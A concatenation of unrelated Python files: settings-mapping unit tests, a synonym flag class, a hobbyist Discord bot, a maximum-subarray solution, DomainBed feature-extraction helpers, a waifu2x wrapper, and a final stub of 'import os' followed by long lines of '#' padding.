self.assertRaises(KeyError, set_bad_item, 'no_such_key', 413)
## BUT The following does NOT raise an AttributeError
# def set_bad_attr(bad_attr, val):
# setattr(mapping, bad_attr, val)
#
# self.assertRaises(AttributeError, set_bad_attr, 'no_such_attr', 495)
mapping.no_such_attr = 495
self.assertEqual(mapping.no_such_attr, 495)
# Test setting settings with visible=False
def set_hidden_item():
mapping['history'] = False
def set_hidden_attr():
mapping.history = False
self.assertRaises(KeyError, set_hidden_item)
# Get value of history setting
history_val = mapping.get_final_value('history', fparams=None)
# You CAN add an attribute called 'history'
# BUT it is *not* the 'history' setting:
mapping.history = not history_val
self.assertEqual(mapping.history, not history_val)
# The setting is unchanged:
self.assertEqual(history_val, mapping.get_final_value('history', fparams=None))
# Actually change the value:
mapping.__setitem__('history', not history_val, _force_visible=True)
# get new val of history
new_val = mapping.get_final_value('history', fparams=None)
self.assertEqual(new_val, not history_val)
def test___len__(self):
self.assertEqual(len(self._settings_mapping), 4)
def test___iter__(self):
names = [name for name in self._settings_mapping]
self.assertEqual(names, ['enabled', 'folderol', 'my_setting', 'your_setting'])
def test_items(self):
items = [item for item in self._settings_mapping.items()]
self.assertEqual(items,
[('enabled', self._settings_mapping['enabled']),
('folderol', self._settings_mapping['folderol']),
('my_setting', self._settings_mapping['my_setting']),
('your_setting', self._settings_mapping['your_setting'])]
)
def test___contains__(self):
self.assertIn('enabled', self._settings_mapping)
self.assertIn('folderol', self._settings_mapping)
self.assertIn('my_setting', self._settings_mapping)
self.assertIn('your_setting', self._settings_mapping)
self.assertNotIn('history', self._settings_mapping)
self.assertNotIn('no_such_key', self._settings_mapping)
def test___repr__(self):
"""
Split into cases because this bug got fixed in Python 3.5:
http://bugs.python.org/issue23775
"Fix pprint of OrderedDict.
Currently pprint prints the repr of OrderedDict if it fits in one line,
and prints the repr of dict if it is wrapped.
Proposed patch makes pprint always produce an output compatible
with OrderedDict's repr.
"
The bugfix also affected tests in test_log_calls_more.py (see docstring there).
"""
if (sys.version_info.major == 3 and sys.version_info.minor >= 5
) or sys.version_info.major > 3: # :)
the_repr = """
DecoSettingsMapping(
deco_class=TestDecoSettingsMapping,
** OrderedDict([
('enabled', True),
('folderol', 'bar'),
('my_setting', 'eek'),
('your_setting', 'Howdy')]) )
"""
else: # Py <= 3.4
the_repr = """
DecoSettingsMapping(
deco_class=TestDecoSettingsMapping,
** {
'enabled': True,
'folderol': 'bar',
'my_setting': 'eek',
'your_setting': 'Howdy'} )
"""
self.assertEqual(
collapse_whitespace(repr(self._settings_mapping)),
collapse_whitespace(the_repr),
)
def test___str__(self):
## print("self._settings_mapping str: %s" % str(self._settings_mapping))
## {'folderol': 'bar', 'my_setting': 'eek', 'your_setting': 'Howdy', 'enabled': True}
self.assertDictEqual(
eval(str(self._settings_mapping)),
{'folderol': 'bar', 'my_setting': 'eek', 'your_setting': 'Howdy', 'enabled': True}
)
def test_update(self):
mapping = self._settings_mapping
d = {'enabled': False, 'folderol': 'tomfoolery', 'my_setting': 'balderdash=', 'your_setting': "Goodbye."}
mapping.update(**d) # pass as keywords
self.assertEqual(mapping.enabled, False)
self.assertEqual(mapping.folderol, 'tomfoolery')
self.assertEqual(mapping.my_setting, 'balderdash=')
self.assertEqual(mapping.your_setting, 'Howdy') # NOT changed, and no exception
self.assertEqual(len(mapping), 4)
mapping.enabled = not mapping.enabled
mapping.folderol = 'nada'
mapping.my_setting = "something-new"
mapping.update(d) # pass as dict
self.assertEqual(mapping.enabled, False)
self.assertEqual(mapping.folderol, 'tomfoolery')
self.assertEqual(mapping.my_setting, 'balderdash=')
self.assertEqual(mapping.your_setting, 'Howdy') # NOT changed, and no exception
self.assertEqual(len(mapping), 4)
d1 = {'enabled': False, 'folderol': 'gibberish'}
d2 = {'enabled': True, 'my_setting': 'hokum='}
mapping.update(d1, d2)
self.assertEqual(mapping.enabled, True)
self.assertEqual(mapping.folderol, 'gibberish')
self.assertEqual(mapping.my_setting, 'hokum=')
mapping.update(d1, d2, **d)
self.assertEqual(mapping.enabled, False)
self.assertEqual(mapping.folderol, 'tomfoolery')
self.assertEqual(mapping.my_setting, 'balderdash=')
self.assertRaises(
KeyError,
mapping.update,
no_such_setting=True
)
self.assertRaises(
KeyError,
mapping.update,
history=True
)
def test_as_OD(self):
self.assertDictEqual(
OrderedDict([('enabled', True), ('folderol', 'bar'), ('my_setting', 'eek'), ('your_setting', 'Howdy')]),
self._settings_mapping.as_OD()
)
def test_as_dict(self):
self.assertDictEqual(self._settings_mapping.as_dict(),
{'folderol': 'bar', 'my_setting': 'eek', 'your_setting': 'Howdy', 'enabled': True})
def test__get_tagged_value(self):
mapping = self._settings_mapping
mapping['enabled'] = "enabled_kwd"
mapping['folderol'] = 'my_setting_kwd='
mapping['my_setting'] = 'OUCH'
self.assertEqual(mapping._get_tagged_value('enabled'), (True, 'enabled_kwd'))
self.assertEqual(mapping._get_tagged_value('folderol'), (False, 'my_setting_kwd='))
self.assertEqual(mapping._get_tagged_value('my_setting'), (False, 'OUCH'))
self.assertEqual(mapping._get_tagged_value('your_setting'), (False, 'Howdy'))
def bad_key():
mapping._get_tagged_value('no_such_key')
self.assertRaises(KeyError, bad_key)
def test_get_final_value(self):
mapping = self._settings_mapping
v = mapping.get_final_value('enabled', fparams=None)
self.assertEqual(v, True)
mapping['enabled'] = 'enabled_kwd='
d = {'enabled_kwd': 17}
v = mapping.get_final_value('enabled', d, fparams=None)
self.assertEqual(v, 17)
def f(a, enabled_kwd=3):
pass
fparams = inspect.signature(f).parameters
v = mapping.get_final_value('enabled', fparams=fparams)
self.assertEqual(v, 3)
def g(a, wrong_kwd='nevermind'):
pass
gparams = inspect.signature(g).parameters
v = mapping.get_final_value('enabled', fparams=gparams)
self.assertEqual(v, False)
def h(a, enabled_kwd=[]):
pass
hparams = inspect.signature(h).parameters
v = mapping.get_final_value('enabled', fparams=hparams)
self.assertEqual(v, False)
import logging
class TestDecoSettingsMapping_set_reset_defaults(TestCase):
@classmethod
def setUpClass(cls):
cls._settings = (
DecoSettingEnabled('enabled', indirect_default=False),
DecoSetting('number', (str, int), '12', allow_falsy=True, allow_indirect=False),
DecoSetting('my_logger', (str, logging.Logger), 'nix', allow_falsy=False, allow_indirect=True),
DecoSetting('your_setting', str, 'off', allow_falsy=False, allow_indirect=False,
mutable=False),
DecoSettingHistory('history', visible=False),
)
DecoSettingsMapping.register_class_settings('TestDecoSettingsMapping_set_reset_defaults',
cls._settings)
# # "'enabled' setting default value = False"
# print("'enabled' setting default value =",
# cls._settings[0].default)
def setUp(self):
"""
"""
pass
def test_set_reset_defaults(self):
clsname = self.__class__.__name__
settings_map = DecoSettingsMapping.get_deco_class_settings_dict(clsname)
# try set 'my_logger' = '' ==> no effect (setting doesn't .allow_falsy)
DecoSettingsMapping.set_defaults(clsname, {'my_logger': ''})
self.assertEqual(settings_map['my_logger'].default, 'nix')
# try setting 'your_setting' = 500 ==> no effect (not acceptable type)
DecoSettingsMapping.set_defaults(clsname, {'your_setting': 500})
self.assertEqual(settings_map['your_setting'].default, 'off')
# try setting 'no_such_setting' = 0 ==> KeyError
def set_no_such_setting():
DecoSettingsMapping.set_defaults(clsname, {'no_such_setting': 0})
self.assertRaises(KeyError, set_no_such_setting)
# try setting 'history' = False ==> KeyError (setting not visible)
def set_history():
DecoSettingsMapping.set_defaults(clsname, {'history': False})
self.assertRaises(KeyError, set_history)
# set enabled=False, number=17 (int);
# check that .default of things in settings_map reflect this
DecoSettingsMapping.set_defaults(clsname, dict(enabled=False, number=17))
self.assertEqual(settings_map['enabled'].default, False)
self.assertEqual(settings_map['number'].default, 17)
self.assertEqual(settings_map['my_logger'].default, 'nix')
self.assertEqual(settings_map['your_setting'].default, 'off')
# self.assertEqual(settings_map['history'].default, 'True')
# set enabled=True, number='100', your_setting='Howdy';
# check that .default of things in settings_map reflect this
DecoSettingsMapping.set_defaults(clsname, dict(enabled=True, number='100', your_setting='Howdy'))
self.assertEqual(settings_map['enabled'].default, True)
self.assertEqual(settings_map['number'].default, '100')
self.assertEqual(settings_map['my_logger'].default, 'nix')
self.assertEqual(settings_map['your_setting'].default, 'Howdy')
# reset, see that defaults are correct
DecoSettingsMapping.reset_defaults(clsname)
self.assertEqual(settings_map['enabled'].default, True) # the default for DecoSettingEnabled
self.assertEqual(settings_map['number'].default, '12')
self.assertEqual(settings_map['my_logger'].default, 'nix')
self.assertEqual(settings_map['your_setting'].default, 'off')
|
# Copyright (c) 2021 Works Applications Co., Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
class Flags:
def __init__(self, has_ambiguity, is_noun, form_type, acronym_type, variant_type):
"""Constructs flags of a synonym.
Args:
has_ambiguity (bool): ``True`` if a synonym is ambiguous, ``False`` otherwise
is_noun (bool): ``True`` if a synonym is a noun, ``False`` otherwise
form_type (int): a word form type of a synonym
acronym_type (int): an acronym type of a synonym
variant_type (int): a variant type of a synonym
"""
self._has_ambiguity = has_ambiguity
self._is_noun = is_noun
self._form_type = form_type
self._acronym_type = acronym_type
self._variant_type = variant_type
@classmethod
def from_int(cls, flags):
"""Reads and returns flags from the specified int value.
Args:
flags (int): int-type flag
Returns:
Flags: a flags of a synonym
"""
has_ambiguity = ((flags & 0x0001) == 1)
is_noun = ((flags & 0x0002) == 2)
form_type = (flags >> 2) & 0x0007
acronym_type = (flags >> 5) & 0x0003
variant_type = (flags >> 7) & 0x0003
return cls(has_ambiguity, is_noun, form_type, acronym_type, variant_type)
@property
def has_ambiguity(self):
"""bool: ``True`` if a synonym is ambiguous, ``False`` otherwise"""
return self._has_ambiguity
@property
def is_noun(self):
"""bool: ``True`` if a synonym is a noun, ``False`` otherwise"""
return self._is_noun
@property
def form_type(self):
"""int: a word form type of a synonym"""
return self._form_type
@property
def acronym_type(self):
"""int: an acronym type of a synonym"""
return self._acronym_type
@property
def variant_type(self):
"""int: a variant type of a synonym"""
return self._variant_type
def encode(self):
"""Encodes this ``Flags`` object.
Returns:
int: encoded flags
"""
flags = 0
flags |= 1 if self.has_ambiguity else 0
flags |= (1 if self.is_noun else 0) << 1
flags |= self.form_type << 2
flags |= self.acronym_type << 5
flags |= self.variant_type << 7
return flags
|
import discord
import asyncio
import logging
import json
import time
import io
import sys
import random
import datetime
import re
import markov
from discord.ext import commands
from pathlib import Path
description = '''An automod bot for auto modding
'''
mark = markov.Markov
reminders = []
polls = []
TESTING = True
if TESTING:
settings = open('testing.json', 'r')
else:
settings = open('settings.json', 'r')
ds = json.load(settings)
prefix = ds['bot']['prefix']
bot = commands.Bot(command_prefix=prefix, description=description)
loop = bot.loop
logger = logging.getLogger('discord')
logger.setLevel(logging.DEBUG)
handler = logging.FileHandler(filename='dicord.log', encoding="utf-8", mode='w')
handler.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(name)s: %(message)s"))
logger.addHandler(handler)
logger.info("Starting SCSI {0} using discord.py {1}".format(ds['bot']["version"], discord.__version__))
print("Starting SCSI {0} using discord.py {1}".format(ds['bot']['version'], discord.__version__))
def findServer(ident):
return bot.get_server(ident)
def findChannel(server, channel):
'''finds the channel'''
for all in ds['servers']:
if all['id'] == server:
return bot.get_channel(all[channel])
## may not get used but I'm just keeping it
def findUser(id):
users = list(bot.get_all_members())
for all in users:
name = ''.join(str(all).split('#').pop(0))
if name == id:
return all
return -1
def checkRole(user, roleRec):
'''Checks if the user has the recuired role'''
ok = False
for all in list(user.roles):
if all.name == roleRec:
ok = True
return ok
def timeToTicks(time):
'''converts time into seconds than to ticks'''
time = time.lower()
time = time.split(',')
timeSec = 0
for all in time:
if "w" in all or "week" in all or "weeks" in all:
tmp = all.strip('weks')
timeSec += datetime.timedelta(weeks=int(tmp)).total_seconds()
elif "d" in all or "day" in all or "days" in all:
tmp = all.strip('days')
timeSec += datetime.timedelta(days=int(tmp)).total_seconds()
elif "h" in all or "hour" in all or "hours" in all:
tmp = all.strip('hours')
timeSec += datetime.timedelta(hours=int(tmp)).total_seconds()
elif "m" in all or "minute" in all or "minutes" in all:
tmp = all.strip('minutes')
timeSec += datetime.timedelta(minutes=int(tmp)).total_seconds()
elif "s" in all or "second" in all or "seconds" in all:
tmp = all.strip('second')
timeSec += int(tmp)
else:
tmp = all.strip('ticks')
timeSec += int(tmp) * ds['bot']['ticklength']
return timeSec // ds['bot']['ticklength']
@asyncio.coroutine
async def timer():
await bot.wait_until_ready()
while not bot.is_closed:
loop.create_task(on_tick())
await asyncio.sleep(ds['bot']['ticklength'])
@bot.event
async def on_channel_delete(channel):
server = channel.server.id
msg = "Channel {0} has been deleted!".format(channel.mention)
try:
await bot.send_message(findChannel(server, 'announcements'), msg, tts=ds['bot']['tts'])
except discord.Forbidden:
msg = "Missing Permissions for announcements!"
await bot.send_message(findChannel(server, 'botspam'), msg, tts=ds['bot']['tts'])
@bot.event
async def on_channel_create(channel):
server = channel.server.id
msg = "Channel {0} has been created!".format(channel.mention)
try:
await bot.send_message(findChannel(server, 'announcements'), msg, tts=ds['bot']['tts'])
except discord.Forbidden:
msg = "Missing Permissions for announcements!"
await bot.send_message(findChannel(server, 'botspam'), msg, tts=ds['bot']['tts'])
@bot.event
async def on_member_join(member):
server = member.server.id
msg = "New member {0} has joined the server!".format(member.mention)
try:
await bot.send_message(findChannel(server, 'announcements'), msg, tts=ds['bot']['tts'])
except discord.Forbidden:
msg = "Missing Permissions for announcements!"
await bot.send_message(findChannel(server, 'botspam'), msg, tts=ds['bot']['tts'])
@bot.event
async def on_member_remove(member):
server = member.server.id
msg = "Member {0} has left the server!".format(member.name)
try:
await bot.send_message(findChannel(server, 'announcements'), msg, tts=ds['bot']['tts'])
except discord.Forbidden:
msg = "Missing Permissions for announcements!"
await bot.send_message(findChannel(server, 'botspam'), msg, tts=ds['bot']['tts'])
@bot.event
async def on_command(command, ctx):
message = ctx.message
destination = None
if message.channel.is_private:
destination = "Private Message"
else:
destination = "#{0.channel.name} ({0.server.name})".format(message)
@bot.group(pass_context = True)
async def markov(ctx):
'''the markov command group'''
if ctx.invoked_subcommand == None:
await bot.say("Must be used with a sub command!")
@markov.command()
async def read(*text):
'''has the makrkov chain read text'''
try:
mark.readText(" ".join(text))
await bot.say("Read text!")
except TypeError as e:
print(e)
@markov.command(pass_contect=True)
async def readChan(ctx, n = "100"):
'''do the same thing as backup but have the markov chain read the channel'''
await bot.say("This feature has not been implemented yet!")
@markov.command()
async def save():
mark.save()
await bot.say("Saved current vocab!")
@markov.command()
async def write(n: str = '100'):
n = int(n)
await bot.say("Markov incoming!")
msg = "```" + mark.writeText(n) + "```"
await bot.say(msg)
@bot.command()
async def test():
'''Prints a test message'''
await bot.say("HELLO WORLD!")
@bot.command(pass_context=True)
async def poll(ctx, time, description, *options):
'''Creates a poll'''
pollNum = ds['bot']['pollNum']
ds['bot']['pollNum'] += 1
try:
## time = int(time)
time = timeToTicks(time)
desc = description
pos = {}
server = ctx.message.server.id
for all in options:
pos[all] = 0
polls.append({"time":time, 'pollNum':pollNum, "desc":desc, "pos":pos, "server":server})
await bot.say("New poll created! #{0}, possibilities: {1}".format(pollNum, pos))
except:
await bot.say('Incorrect number format')
@bot.command()
async def vote(number, option):
'''Votes on a poll'''
try:
pollNum = int(number)
pos = option
for all in polls:
if all['pollNum'] == pollNum:
if pos in all['pos'].keys():
all['pos'][pos] += 1
break # Why waste valuable processing cycles?
await bot.say('Invalid option for that poll')
except ValueError:
await bot.say('Incorrect number format')
@bot.command()
async def timeto(ticks):
'''says how much time will pass in <ticks> ticks
!!obsolite!!'''
try:
ticks = int(''.join(ticks))
seconds = ds['bot']['ticklength'] * ticks
hours = seconds // 36000
seconds %= 36000
minutes = seconds // 60
seconds %= 60
seconds = round(seconds, 0)
msg = "{0} ticks is {1} hours, {2} minutes, {3} seconds long".format(ticks, hours, minutes, seconds)
await bot.say(msg)
except ValueError:
await bot.say("Invalid arguments")
@bot.command(pass_context=True)
async def shutdown(ctx):
'''Shuts down the bot'''
author = ctx.message.author
if checkRole(author, ds['bot']['botmin']):
msg = "Shutting down now!"
await bot.say(msg)
timerTask.cancel()
bot.logout()
settings.close()
sys.exit()
else:
await bot.say("User is not {0}, ask a {0} to use this command!".format(ds['bot']['botmin']))
@bot.command()
async def timeup():
'''Displays time up'''
timeUp = time.time() - startTime
hoursUp = timeUp // 36000
timeUp %= 36000
minutesUp = timeUp // 60
timeUp = round(timeUp % 60, 0)
msg = "Time up is: *{0} Hours, {1} Minutes and, {2} Seconds*".format(hoursUp, minutesUp, timeUp)
await bot.say(msg)
#the following code does not work, and so we will not keep it
#@bot.command(pass_context=True)
#async def tts(ctx):
# '''Turns TTS on or off'''
# if ctx.message.content[len(prefix) + 4:] == "on":
# ds['bot']['tts'] = True
# await bot.say("TTS is now on!")
# elif ctx.message.content[len(prefix) + 4:] == "off":
# ds['bot']['tts'] = False
# await bot.say("TTS is now off!")
@bot.command()
async def echo(*, message):
'''Echos a message'''
print('Echoing: ', message)
logger.info('Echoing: {0}'.format(message))
await bot.say(message)
@bot.command(pass_context=True)
async def changegame(ctx, *game):
'''Changes the game being displayed'''
author = ctx.message.author
if checkRole(author, ds['bot']['botmin']):
gameName = ' '.join(game)
await bot.change_presence(game=discord.Game(name=gameName))
await bot.say("Changing game to: \"{0}\"!".format(gameName))
else:
await bot.say("User is not {0}, ask a {0} to use this command!".format(ds['bot']['botmin']))
@bot.command(pass_context=True)
async def remind(ctx, delay, *message):
'''Sets a reminder for several seconds in the future'''
msg = ' '.join(message)
chan = ctx.message.channel
try:
## following code kept for posterity
## delay = int(float(delay) / ds['bot']['ticklength'])
## if delay == 0:
## delay = 1
## reminders.append([delay, chan, msg])
## await bot.say("Reminder set")
delay = timeToTicks(delay)
if delay == 0:
delay = 1
reminders.append([delay, chan, msg])
await bot.say("Reminder set")
except ValueError:
await bot.say("Incorrect format for the delay")
@bot.command()
async def about():
try:
msg = "```Version: {0}\nPrefix: {1}\n\"Game\": {2}\nContributors: {3}```".format(ds['bot']['version'], ds['bot']['prefix'], ds['bot']['game'], str(ds['contrib']).strip("[]"))
await bot.say(msg)
except:
pass
@bot.command(pass_context=True)
async def backup(ctx, num="1000"):
'''Backs up <num> messages in the current channel. "all" will back up the entire channel. If num is not provided, defaults to 1000'''
try:
msg = ctx.message
# Assuming not Wham!DOS paths, although those may work as well
servPath = msg.server.id + ' - ' + msg.server.name + '/'
chanPath = msg.channel.id + ' - ' + msg.channel.name + '/'
p = Path(servPath)
if not p.exists(): p.mkdir()
p = Path(servPath + chanPath)
if not p.exists(): p.mkdir()
newliner = re.compile('\n')
end = last_backup_time(servPath + chanPath)
if num.lower() == "all":
await bot.send_message(msg.channel, "Starting backup")
count = 1000
total = 0
start_time = None
now_time = None
# Probably a better way to do this, but I don't know it
async for m in bot.logs_from(msg.channel, limit=1):
now_time = m.timestamp
while count == 1000:
count = 0
first = True
f = open(servPath + chanPath + 'temp', 'w')
async for message in bot.logs_from(msg.channel, limit=1000, before=now_time, after=end):
if first:
start_time = message.timestamp
first = False
m = message.clean_content
m = newliner.sub('\n\t', m)
f.write(str(message.timestamp) + ': ' + message.author.name + ' (' + str(message.author.display_name) + '):\n\t' + m + '\n')
f.write('attachments:\n')
for a in message.attachments:
f.write('\t')
f.write(a['url'])
f.write('\n')
f.write('\n')
now_time = message.timestamp
count += 1
total += 1
f.close()
Path(servPath + chanPath + 'temp').rename(servPath + chanPath + str(now_time) + ' -- ' + str(start_time) + '.log')
await bot.say("Backed up " + str(total) + " messages")
await bot.say("Backup finished")
else:
num = int(num)
f = open(servPath + chanPath + 'temp', 'w')
await bot.say('Starting backup')
first = True
start_time = None
end_time = None
async for message in bot.logs_from(msg.channel, limit=num + 1, after=end):
if first:
start_time = message.timestamp
first = False
else:
m = message.clean_content
m = newliner.sub('\n\t', m)
f.write(str(message.timestamp) + ': ' + message.author.name + ' (' + str(message.author.nick) + '):\n\t' + m + '\n')
f.write('attachments:\n')
for a in message.attachments:
f.write('\t')
f.write(a['url'])
f.write('\n')
f.write('\n')
end_time = message.timestamp
f.close()
Path(servPath + chanPath + 'temp').rename(servPath + chanPath + str(end_time) + ' -- ' + str(start_time) + '.log')
await bot.say('Backup finished')
except ValueError:
await bot.say('Incorrect number format')
except e:
await bot.send_message()
@bot.command(pass_context=True)
async def who(ctx, user):
'''Gives info on a mentioned user'''
try:
users = list(bot.get_all_members())
for all in users:
if all.mentioned_in(ctx.message):
user = all
break
if user == None:
await bot.say("mention a user!")
msg = "```Name: {0}\nID: {1}\nDiscriminator: {2}\nBot: {3}\nCreated: {5}\nNickname: {6}```Avatar URL: {4}\n".format(user.name, user.id, user.discriminator, user.bot, user.avatar_url, user.created_at, user.display_name)
await bot.say(str(user))
await bot.say(msg)
except:
await bot.say("Please mention a user!")
@asyncio.coroutine
async def on_tick():
for rem in reminders:
rem[0] -= 1
if rem[0] == 0:
await bot.send_message(rem[1], rem[2])
reminders.remove(rem)
for poll in polls:
poll["time"] -= 1
if poll["time"] == 0:
server = poll['server']
channel = findChannel(server, "poll")
await bot.send_message(channel, poll['pos'])
await bot.send_message(channel, "poll #{0} is now over!".format(poll['pollNum']))
polls.remove(poll)
def last_backup_time(backup_dir):
p = Path(backup_dir)
last_file = None
for f in p.iterdir():
last_file = f
if last_file is None: return None
file_name = str(last_file)
split_name = file_name.split('-- ')
date_str = split_name[1]
return string_to_datetime(date_str)
def string_to_datetime(s):
date_and_time = s.split()
date = date_and_time[0].split('-')
time = date_and_time[1].split(':')
seconds_and_micro = time[2].split('.')
return datetime.datetime(year=int(date[0]), month=int(date[1]), day=int(date[2]), hour=int(time[0]), minute=int(time[1]), second=int(seconds_and_micro[0]), microsecond=int(seconds_and_micro[1]))
@bot.event
async def on_ready():
print('Logged in as')
print(bot.user.name)
print(bot.user.id)
print('Game set to:')
print(ds['bot']['game'])
print('------')
logger.info('Logged in as')
logger.info(bot.user.name)
logger.info(bot.user.id)
logger.info('Game set to:')
logger.info(ds['bot']['game'])
logger.info('------')
await bot.change_presence(game=discord.Game(name=ds['bot']['game']))
startTime = time.time()
timerTask = loop.create_task(timer())
bot.run(ds['bot']["token"])
settings.close()
mark.stop()
|
class Solution:
def XXX(self, nums: List[int]) -> int:
n = len(nums)
dp = [num for num in nums]
maxl = dp[0]
for i in range(1, n):
dp[i] = max(dp[i], dp[i - 1] + nums[i])
if dp[i] > maxl:
maxl = dp[i]
return maxl
|
import torch
import numpy as np
from domainbed.lib.misc import get_feature
from domainbed.lib import misc
import matplotlib.pyplot as plt
import time
def calculate_f_star(algorithm, loaders, device, test_envs, num_classes):
# test envs 不应该加入FSSD的计算
fss_list = [[] for i in range(num_classes)]
for eval_name, eval_loader in loaders:
if "out" not in eval_name:
continue
ruleout_test = False
for env in test_envs:
if str(env) in eval_name:
ruleout_test = True
continue
if ruleout_test:
continue
fssd_score, fssd_raw = get_feature(algorithm, eval_loader,
device, num_classes, None, False, True) # return_raw
for label in range(num_classes):
fss_list[label].append(torch.mean(fssd_raw[label], dim=0))
mean = [torch.zeros_like(fss_list[label][0])
for label in range(num_classes)]
for label in range(num_classes):
for i in range(len(fss_list)):
mean[label] += fss_list[label][i]
return [mean[label]/len(fss_list[label]) for label in range(num_classes)]
def feature_extractor_for_train(algorithm, loaders, device, num_classes,val='in'):
print("————————Calculate the feature distribution for train————————")
print("")
#eval_list = []
fssd_list_raw = [{} for _ in range(num_classes)]
for eval_name, eval_loader in loaders:
if val in eval_name:
fssd_score, fssd_raw = get_feature(
algorithm, eval_loader, device, num_classes, None, False, True)
#eval_list.append(eval_name)
for label in range(num_classes):
fssd_list_raw[label][eval_name[:-3]]=fssd_raw[label]
#print(fssd_list_raw[0]['env0'])
print("————————Finish Calculating————————")
return fssd_list_raw
def feature_extractor_for_pipline(algorithm, loaders, device, num_classes, marker="",val='in'):
print("————————Calculate the feature distribution————————")
print("")
eval_list = []
fssd_list_raw = [[]for i in range(num_classes)]
fssd_mean = [[]for i in range(num_classes)]
fssd_variance = [[]for i in range(num_classes)]
feature_mean = [[]for i in range(num_classes)]
feature_var = [[]for i in range(num_classes)]
return_feat = [{} for _ in range(num_classes)]
for eval_name, eval_loader in loaders:
if val in eval_name:
# Debug 不设置f_star
# fssd_score, fssd_raw = get_feature(
# algorithm, eval_loader, device, num_classes, f_star, False, True)
start = time.time()
fssd_score, fssd_raw = get_feature(
algorithm, eval_loader, device, num_classes, None, False, True)
for label in range(num_classes):
return_feat[label][eval_name[:4]]=fssd_raw[label]
eval_list.append(eval_name)
print("Extract feature in env " + eval_name + " use time " + str(round(time.time()-start, 3)))
for label in range(num_classes):
fssd_list_raw[label].append(fssd_score[label])
fssd_mean[label].append(torch.mean(fssd_list_raw[label][-1]))
fssd_variance[label].append(
torch.var(fssd_list_raw[label][-1]))
feature_mean[label].append(torch.mean(fssd_raw[label], dim=0))
feature_var[label].append(torch.var(fssd_raw[label], dim=0))
save_raw_feature = True
if save_raw_feature:
np.save(marker + "_"+eval_name+"_label"+str(label) +
".npy", fssd_raw[label].cpu().numpy())
# 直观图片打印
save_some_image = False
if save_some_image:
feature_num = list(range(20))
for num in feature_num:
feature_set = fssd_raw[label][:, num].cpu().numpy()
plt.figure()
plt.hist(feature_set, bins='auto', density=True)
plt.savefig("feature_imgae/feature"+str(num)+"_label"+str(label)+"_" +
eval_list[-1]+".png")
plt.close()
return return_feat
def feature_extractor(algorithm, loaders, device, num_classes, marker=""):
print("————————Calculate the feature distribution————————")
print("")
eval_list = []
fssd_list_raw = [[]for i in range(num_classes)]
fssd_mean = [[]for i in range(num_classes)]
fssd_variance = [[]for i in range(num_classes)]
feature_mean = [[]for i in range(num_classes)]
feature_var = [[]for i in range(num_classes)]
for eval_name, eval_loader in loaders:
if "in" in eval_name:
# Debug 不设置f_star
# fssd_score, fssd_raw = get_feature(
# algorithm, eval_loader, device, num_classes, f_star, False, True)
start = time.time()
fssd_score, fssd_raw = get_feature(
algorithm, eval_loader, device, num_classes, None, False, True)
eval_list.append(eval_name)
print("Extract feature in env " + eval_name + " use time " + str(round(time.time()-start, 3)))
for label in range(num_classes):
fssd_list_raw[label].append(fssd_score[label])
fssd_mean[label].append(torch.mean(fssd_list_raw[label][-1]))
fssd_variance[label].append(
torch.var(fssd_list_raw[label][-1]))
feature_mean[label].append(torch.mean(fssd_raw[label], dim=0))
feature_var[label].append(torch.var(fssd_raw[label], dim=0))
save_raw_feature = True
if save_raw_feature:
np.save(marker + "_"+eval_name+"_label"+str(label) +
".npy", fssd_raw[label].cpu().numpy())
# 直观图片打印
save_some_image = False
if save_some_image:
feature_num = list(range(20))
for num in feature_num:
feature_set = fssd_raw[label][:, num].cpu().numpy()
plt.figure()
plt.hist(feature_set, bins='auto', density=True)
plt.savefig("feature_imgae/feature"+str(num)+"_label"+str(label)+"_" +
eval_list[-1]+".png")
plt.close()
'''
indent = 20
print("Environment".ljust(indent), "mean".ljust(indent), "var".ljust(indent))
for label in range(num_classes):
for i in range(len(eval_list)):
print((eval_list[i]+"&label"+str(label)).ljust(indent), str(round(fssd_mean[label][i].cpu().item(), 4)).ljust(
indent), str(round(fssd_variance[label][i].cpu().item(), 4)).ljust(indent))
print("")
for label in range(num_classes):
print("Results in difference feature of label "+str(label))
for i in range(feature_mean[label][-1].shape[0]):
misc.print_row([feature_mean[label][j][i].cpu().item()
for j in range(len(eval_list))]+[feature_var[label][j][i].cpu().item() for j in range(len(eval_list))], colwidth=10)
'''
|
from math import floor
from PIL import Image
try:
from .waifu2x_ncnn_vulkan import Waifu2x
except ImportError:
from waifu2x_ncnn_vulkan_python import Waifu2x
from ..params import ProcessParams
class Processor:
def __init__(self, params: ProcessParams):
self.params = params
self.w2x = Waifu2x(gpuid=params.device_id,
model=params.model or "models-cunet",
scale=2 if params.scale > 1 else 1,
noise=params.denoise_level,
tilesize=max(params.tilesize, 0),
tta_mode=params.tta_mode,
num_threads=max(params.n_threads, 1))
def process(self, im: Image):
if self.params.scale > 1:
cur_scale = 1
w, h = im.size
while cur_scale < self.params.scale:
im = self.w2x.process(im)
cur_scale *= 2
w, h = floor(w * self.params.scale), floor(h * self.params.scale)
im = im.resize((w, h))
else:
im = self.w2x.process(im)
return im
|
import os
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################
